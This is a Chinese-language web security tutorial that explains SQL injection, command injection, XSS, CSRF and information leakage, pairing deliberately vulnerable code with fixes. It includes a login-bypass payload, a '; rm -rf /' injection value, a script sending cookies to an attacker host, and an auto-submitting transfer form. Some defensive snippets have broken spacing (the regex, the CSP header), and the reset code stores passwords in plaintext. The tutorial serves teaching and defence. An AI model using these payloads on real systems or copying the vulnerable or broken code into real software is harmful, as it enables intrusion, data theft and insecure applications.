HTTP协议的安全漏洞与防护措施
2021-11-232.9k 阅读
HTTP协议基础概述
HTTP(Hyper - Text Transfer Protocol)是一种用于分布式、协作式和超媒体信息系统的应用层协议,它是万维网数据通信的基础。HTTP 协议采用客户端 - 服务器模式,客户端发起请求,服务器响应请求。例如,当用户在浏览器中输入一个网址并回车,浏览器作为客户端就会向对应的服务器发送HTTP请求,服务器处理请求后返回响应数据,这些数据可能是网页的HTML代码、图片、脚本等。
HTTP请求由请求行、请求头、空行和请求体组成。请求行包含请求方法(如GET、POST、PUT、DELETE等)、请求URL和HTTP协议版本。请求头包含了关于客户端环境、请求内容等相关信息,比如User - Agent头表明客户端的类型和版本,Content - Type头指定请求体的数据类型。空行用于分隔请求头和请求体,请求体则存放具体要发送的数据,不过GET请求通常没有请求体,因为数据是附加在URL后的查询字符串中。
HTTP响应由状态行、响应头、空行和响应体组成。状态行包含HTTP协议版本、状态码和状态描述,常见的状态码如200表示成功,404表示未找到资源,500表示服务器内部错误。响应头提供了关于响应的额外信息,如Content - Length指定响应体的长度,Set - Cookie用于设置客户端的Cookie。响应体就是服务器返回给客户端的实际数据,如网页内容、JSON数据等。
HTTP协议的安全漏洞
注入攻击
- SQL注入
- 原理:当应用程序使用用户输入来构造SQL语句时,如果没有对输入进行适当的验证和转义,攻击者就可以通过在输入中插入恶意的SQL语句片段,从而改变SQL语句的原有逻辑,达到获取数据库敏感信息、修改数据甚至控制数据库服务器的目的。例如,在一个登录表单中,用户名输入框通常用于接收用户输入的用户名,密码输入框用于接收用户输入的密码。假设后端使用如下的SQL查询语句来验证用户登录:
SELECT * FROM users WHERE username = '$username' AND password = '$password'
,如果攻击者在用户名输入框中输入admin' OR '1'='1
,那么构造后的SQL语句就变为SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = '$password'
,由于1 = 1
恒成立,这条SQL语句将返回所有用户的记录,攻击者无需知道正确密码即可登录系统。 - 代码示例(PHP):
- 原理:当应用程序使用用户输入来构造SQL语句时,如果没有对输入进行适当的验证和转义,攻击者就可以通过在输入中插入恶意的SQL语句片段,从而改变SQL语句的原有逻辑,达到获取数据库敏感信息、修改数据甚至控制数据库服务器的目的。例如,在一个登录表单中,用户名输入框通常用于接收用户输入的用户名,密码输入框用于接收用户输入的密码。假设后端使用如下的SQL查询语句来验证用户登录:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
$conn = mysqli_connect("localhost", "root", "", "test");
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
echo "登录成功";
} else {
echo "登录失败";
}
mysqli_close($conn);
?>
- 此代码存在SQL注入风险:因为直接将用户输入嵌入SQL语句,未进行任何安全处理。
- 命令注入
- 原理:当应用程序调用外部系统命令,并使用用户输入来构造命令时,如果没有对输入进行严格的过滤和验证,攻击者就可以注入恶意的命令片段,从而在服务器上执行任意系统命令。例如,在一个简单的文件上传系统中,可能会有一个功能用于获取上传文件的大小,假设使用
ls -l
命令结合用户输入的文件名来获取文件大小,如ls -l $filename
。如果攻击者将filename
参数设置为; rm -rf /
,那么实际执行的命令就变为ls -l ; rm -rf /
,这将导致服务器上的所有文件被删除,因为;
用于分隔多个命令,rm -rf /
是一个极其危险的删除所有文件的命令。 - 代码示例(Python):
- 原理:当应用程序调用外部系统命令,并使用用户输入来构造命令时,如果没有对输入进行严格的过滤和验证,攻击者就可以注入恶意的命令片段,从而在服务器上执行任意系统命令。例如,在一个简单的文件上传系统中,可能会有一个功能用于获取上传文件的大小,假设使用
import os
filename = input("请输入文件名:")
command = "ls -l " + filename
os.system(command)
- 此代码存在命令注入风险:直接将用户输入拼接到系统命令中,没有对输入进行安全检查。
跨站脚本攻击(XSS)
- 反射型XSS
- 原理:攻击者通过诱使用户点击一个包含恶意脚本的链接,当用户点击链接后,服务器将恶意脚本作为响应的一部分返回给用户浏览器,用户浏览器执行该脚本,从而达到窃取用户Cookie、会话令牌等敏感信息或者进行其他恶意操作的目的。例如,一个搜索功能的页面,其URL可能是
http://example.com/search?q=keyword
,如果服务器端没有对q
参数进行正确的过滤,攻击者可以构造一个链接http://example.com/search?q=<script>alert('XSS')</script>
,当用户点击这个链接时,浏览器会弹出一个提示框,表明攻击成功。在实际攻击中,攻击者可能会将恶意脚本用于窃取用户登录的Cookie信息并发送到攻击者的服务器。 - 代码示例(Java Web应用,简化示例):
- 原理:攻击者通过诱使用户点击一个包含恶意脚本的链接,当用户点击链接后,服务器将恶意脚本作为响应的一部分返回给用户浏览器,用户浏览器执行该脚本,从而达到窃取用户Cookie、会话令牌等敏感信息或者进行其他恶意操作的目的。例如,一个搜索功能的页面,其URL可能是
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
public class SearchServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String query = request.getParameter("q");
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>搜索结果:" + query + "</h1>");
out.println("</body></html>");
}
}
- 此代码存在反射型XSS风险:直接将用户输入的
q
参数输出到页面,未进行任何转义处理。
- 存储型XSS
- 原理:攻击者将恶意脚本提交到服务器并存储在数据库等持久化存储中,当其他用户访问包含该恶意脚本的页面时,恶意脚本会自动执行。常见于留言板、评论系统等。例如,在一个博客的评论功能中,攻击者在评论内容中插入恶意脚本
<script>document.location='http://attacker - server.com/cookie.php?cookie=' + document.cookie</script>
,管理员审核通过该评论后,其他用户访问该博客文章时,脚本会自动执行,将用户的Cookie信息发送到攻击者的服务器。 - 代码示例(Node.js + MongoDB,简化示例):
- 原理:攻击者将恶意脚本提交到服务器并存储在数据库等持久化存储中,当其他用户访问包含该恶意脚本的页面时,恶意脚本会自动执行。常见于留言板、评论系统等。例如,在一个博客的评论功能中,攻击者在评论内容中插入恶意脚本
const express = require('express');
const mongoose = require('mongoose');
const Comment = require('./models/comment');
const app = express();
app.use(express.json());
app.post('/comments', async (req, res) => {
const newComment = new Comment({
content: req.body.content
});
try {
await newComment.save();
res.status(201).send('评论成功');
} catch (error) {
res.status(400).send(error.message);
}
});
app.get('/comments', async (req, res) => {
try {
const comments = await Comment.find();
res.send(comments.map(comment => comment.content));
} catch (error) {
res.status(500).send(error.message);
}
});
mongoose.connect('mongodb://localhost:27017/blog', { useNewUrlParser: true, useUnifiedTopology: true });
app.listen(3000, () => {
console.log('服务器运行在3000端口');
});
- 此代码存在存储型XSS风险:直接将用户输入的评论内容保存并返回,未对其中的恶意脚本进行过滤。
跨站请求伪造(CSRF)
- 原理:攻击者诱导用户访问一个包含恶意请求的页面,当用户在已登录目标网站且会话未过期的情况下,浏览器会自动携带用户在目标网站的Cookie等认证信息发送该恶意请求,目标网站服务器会误认为该请求是用户合法发起的,从而执行恶意操作。例如,用户在银行网站登录后,未退出账户,此时访问了一个恶意网站,恶意网站中包含一个隐藏的表单
<form action="https://bank.com/transfer" method="post"><input type="hidden" name="amount" value="1000"><input type="hidden" name="to" value="attacker - account"></form><script>document.forms[0].submit();</script>
,当用户访问该恶意页面时,表单会自动提交,将用户账户中的1000元转账到攻击者账户,而银行服务器会因为用户的Cookie信息而认为这是用户的合法操作。 - 代码示例(Django,简化示例):
from django.http import HttpResponse
from django.views.decorators.csrf import csrf_exempt
@csrf_exempt
def transfer_money(request):
if request.method == 'POST':
amount = request.POST.get('amount')
to_account = request.POST.get('to')
# 这里执行转账逻辑,假设已通过认证
return HttpResponse('转账成功')
return HttpResponse('请通过POST方式提交请求')
- 此代码存在CSRF风险:使用
csrf_exempt
装饰器禁用了Django的CSRF防护机制,如果该视图用于处理敏感操作,容易受到CSRF攻击。
信息泄露漏洞
- 敏感信息暴露在URL中
- 原理:当应用程序在URL中传递敏感信息,如用户密码、信用卡号等,这些信息可能会被记录在服务器日志、浏览器历史记录中,从而导致信息泄露。例如,一个密码重置功能,其URL设计为
http://example.com/reset - password?password=newpassword123
,如果服务器日志记录了完整的URL,或者用户在公共计算机上使用浏览器,其他人就可能获取到这个新密码。
- 原理:当应用程序在URL中传递敏感信息,如用户密码、信用卡号等,这些信息可能会被记录在服务器日志、浏览器历史记录中,从而导致信息泄露。例如,一个密码重置功能,其URL设计为
- 错误信息泄露
- 原理:当应用程序出现错误时,如果将详细的错误信息直接返回给客户端,可能会泄露服务器的内部信息,如数据库类型、服务器路径、代码结构等,这些信息有助于攻击者进一步进行攻击。例如,在一个Java Web应用中,如果数据库连接出现问题,返回的错误信息可能包含数据库驱动名称、数据库服务器地址等,如
org.postgresql.util.PSQLException: Connection refused. Check that the hostname and port are correct and that the postmaster is accepting TCP/IP connections.
,攻击者可以根据这些信息了解到目标服务器使用的是PostgreSQL数据库,并尝试针对PostgreSQL的攻击方法。
- 原理:当应用程序出现错误时,如果将详细的错误信息直接返回给客户端,可能会泄露服务器的内部信息,如数据库类型、服务器路径、代码结构等,这些信息有助于攻击者进一步进行攻击。例如,在一个Java Web应用中,如果数据库连接出现问题,返回的错误信息可能包含数据库驱动名称、数据库服务器地址等,如
HTTP协议安全漏洞的防护措施
针对注入攻击的防护
- SQL注入防护
- 使用参数化查询:在大多数数据库操作框架中,都支持参数化查询。以Java的JDBC为例,代码如下:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
public class UserLogin {
public static void main(String[] args) {
String username = "admin";
String password = "password123";
try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root");
PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE username =? AND password =?")) {
pstmt.setString(1, username);
pstmt.setString(2, password);
ResultSet rs = pstmt.executeQuery();
if (rs.next()) {
System.out.println("登录成功");
} else {
System.out.println("登录失败");
}
} catch (SQLException e) {
e.printStackTrace();
}
}
}
- 在这个代码中:
PreparedStatement
使用占位符?
,数据库驱动会自动对参数进行转义,防止SQL注入。 - 输入验证:对用户输入进行严格的格式验证,只允许符合预期格式的数据进入数据库查询。例如,对于用户名输入,只允许字母和数字,使用正则表达式进行验证,在Python中可以这样实现:
import re
username = input("请输入用户名:")
if not re.fullmatch('[a-zA - Z0 - 9]+', username):
print("用户名只能包含字母和数字")
else:
# 进行后续操作
pass
- 命令注入防护
- 使用安全的函数:在不同编程语言中,尽量使用安全的函数来执行系统命令。例如,在Python中,
subprocess
模块提供了更安全的方式来执行外部命令。以下是一个示例:
- 使用安全的函数:在不同编程语言中,尽量使用安全的函数来执行系统命令。例如,在Python中,
import subprocess
filename = input("请输入文件名:")
try:
result = subprocess.run(['ls', '-l', filename], capture_output = True, text = True)
print(result.stdout)
except FileNotFoundError:
print("文件或命令未找到")
- 输入过滤:对用户输入进行严格过滤,去除任何可能用于注入命令的特殊字符,如
;
、|
、&
等。例如,在Java中可以这样实现:
import java.util.Scanner;
public class CommandInjectionProtection {
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.println("请输入文件名:");
String filename = scanner.nextLine();
filename = filename.replaceAll("[;|&]", "");
// 执行命令操作
}
}
针对XSS攻击的防护
- 输入输出转义
- 反射型XSS防护:在输出到页面之前,对用户输入进行转义。在Java Web应用中,使用
StringEscapeUtils
类(来自Apache Commons Text库)可以对HTML特殊字符进行转义,示例代码如下:
- 反射型XSS防护:在输出到页面之前,对用户输入进行转义。在Java Web应用中,使用
import org.apache.commons.text.StringEscapeUtils;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
public class SearchServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String query = request.getParameter("q");
String escapedQuery = StringEscapeUtils.escapeHtml4(query);
response.setContentType("text/html");
PrintWriter out = response.getWriter();
out.println("<html><body>");
out.println("<h1>搜索结果:" + escapedQuery + "</h1>");
out.println("</body></html>");
}
}
- 存储型XSS防护:同样在存储和输出时进行转义。在Node.js中,可以使用
DOMPurify
库来清理用户输入中的恶意脚本。示例代码如下:
const express = require('express');
const mongoose = require('mongoose');
const Comment = require('./models/comment');
const DOMPurify = require('dompurify');
const app = express();
app.use(express.json());
app.post('/comments', async (req, res) => {
const purifiedContent = DOMPurify.sanitize(req.body.content);
const newComment = new Comment({
content: purifiedContent
});
try {
await newComment.save();
res.status(201).send('评论成功');
} catch (error) {
res.status(400).send(error.message);
}
});
app.get('/comments', async (req, res) => {
try {
const comments = await Comment.find();
res.send(comments.map(comment => comment.content));
} catch (error) {
res.status(500).send(error.message);
}
});
mongoose.connect('mongodb://localhost:27017/blog', { useNewUrlParser: true, useUnifiedTopology: true });
app.listen(3000, () => {
console.log('服务器运行在3000端口');
});
- 设置HTTP头
- Content - Security - Policy(CSP):通过设置CSP头,可以限制页面加载资源的来源,防止恶意脚本的执行。在Java Web应用中,可以在
web.xml
中配置过滤器来设置CSP头,示例如下:
- Content - Security - Policy(CSP):通过设置CSP头,可以限制页面加载资源的来源,防止恶意脚本的执行。在Java Web应用中,可以在
<filter>
<filter - name>CSPFilter</filter - name>
<filter - class>com.example.CSPFilter</filter - class>
</filter>
<filter - mapping>
<filter - name>CSPFilter</filter - name>
<url - pattern>/*</url - pattern>
</filter - mapping>
- CSPFilter类的实现:
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
@WebFilter("/*")
public class CSPFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
Filter.super.init(filterConfig);
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
servletResponse.setHeader("Content - Security - Policy", "default - src'self'");
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
Filter.super.destroy();
}
}
- 在这个示例中:
default - src'self'
表示只允许从当前源加载资源,有效防止了外部恶意脚本的加载。
针对CSRF攻击的防护
- 使用CSRF令牌
- 生成和验证令牌:在服务器端生成一个随机的CSRF令牌,并将其存储在用户会话中。同时,将令牌发送到客户端,客户端在每次提交表单时将令牌包含在请求中。服务器端验证请求中的令牌与会话中的令牌是否一致。以Django为例,默认开启CSRF防护机制,在模板中可以这样使用CSRF令牌:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF - 8">
<title>转账</title>
</head>
<body>
<form action="{% url 'transfer' %}" method="post">
{% csrf_token %}
<label for="amount">金额:</label><input type="number" id="amount" name="amount"><br>
<label for="to">转账到:</label><input type="text" id="to" name="to"><br>
<input type="submit" value="转账">
</form>
</body>
</html>
- 在视图函数中:Django会自动验证CSRF令牌,如果令牌验证失败,会返回403 Forbidden错误。
- 检查Referer头
- 原理:正常情况下,浏览器发送的请求中的Referer头会指向当前网站的页面。可以在服务器端检查Referer头是否来自合法的源。在Python的Flask框架中,可以这样实现简单的Referer头检查:
from flask import Flask, request, abort
app = Flask(__name__)
@app.route('/transfer', methods=['POST'])
def transfer():
referer = request.headers.get('Referer')
if not referer or not referer.startswith('http://example.com'):
abort(403)
# 执行转账逻辑
return '转账成功'
- 这种方法有一定局限性:因为用户可以通过某些手段修改Referer头,而且在一些情况下,如HTTPS到HTTP的跳转,Referer头可能会被浏览器清空,但它可以作为一种辅助的防护手段。
针对信息泄露漏洞的防护
- 避免敏感信息暴露在URL中
- 改进设计:在设计应用程序功能时,避免在URL中传递敏感信息。例如,对于密码重置功能,可以使用一个唯一的令牌,并将其存储在数据库中,通过POST请求将新密码和令牌一起提交到服务器,而不是将新密码放在URL中。在Java Web应用中,可以这样实现:
- 生成令牌并存储:
import java.security.SecureRandom;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.SQLException;
import java.util.Base64;
public class PasswordReset {
public static String generateToken() {
SecureRandom random = new SecureRandom();
byte[] bytes = new byte[32];
random.nextBytes(bytes);
return Base64.getUrlEncoder().withoutPadding().encodeToString(bytes);
}
public static void storeToken(String token, String username) {
try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root");
PreparedStatement pstmt = conn.prepareStatement("UPDATE users SET reset_token =? WHERE username =?")) {
pstmt.setString(1, token);
pstmt.setString(2, username);
pstmt.executeUpdate();
} catch (SQLException e) {
e.printStackTrace();
}
}
}
- 重置密码的Servlet:
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
public class ResetPasswordServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String token = request.getParameter("token");
String newPassword = request.getParameter("newPassword");
try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/test", "root", "root");
PreparedStatement pstmt = conn.prepareStatement("SELECT username FROM users WHERE reset_token =?")) {
pstmt.setString(1, token);
ResultSet rs = pstmt.executeQuery();
if (rs.next()) {
String username = rs.getString("username");
try (PreparedStatement updateStmt = conn.prepareStatement("UPDATE users SET password =? WHERE username =?")) {
updateStmt.setString(1, newPassword);
updateStmt.setString(2, username);
updateStmt.executeUpdate();
response.sendRedirect("reset - success.html");
}
} else {
response.sendRedirect("reset - fail.html");
}
} catch (SQLException e) {
e.printStackTrace();
}
}
}
- 错误信息处理
- 日志记录与简洁响应:在应用程序出现错误时,将详细的错误信息记录到日志文件中,而向客户端返回简洁、通用的错误信息,不暴露服务器内部信息。在Python的Flask应用中,可以这样实现:
import logging
from flask import Flask, jsonify
app = Flask(__name__)
logging.basicConfig(filename='app.log', level = logging.ERROR)
@app.route('/')
def index():
try:
# 模拟可能出现错误的代码
result = 1 / 0
return jsonify({'message': '成功'})
except ZeroDivisionError as e:
logging.error(f'出现错误:{str(e)}', exc_info = True)
return jsonify({'message': '发生错误,请稍后重试'}), 500
- 在这个示例中:详细的错误信息(如
ZeroDivisionError
的具体情况)被记录到app.log
日志文件中,而客户端只收到一个通用的错误消息。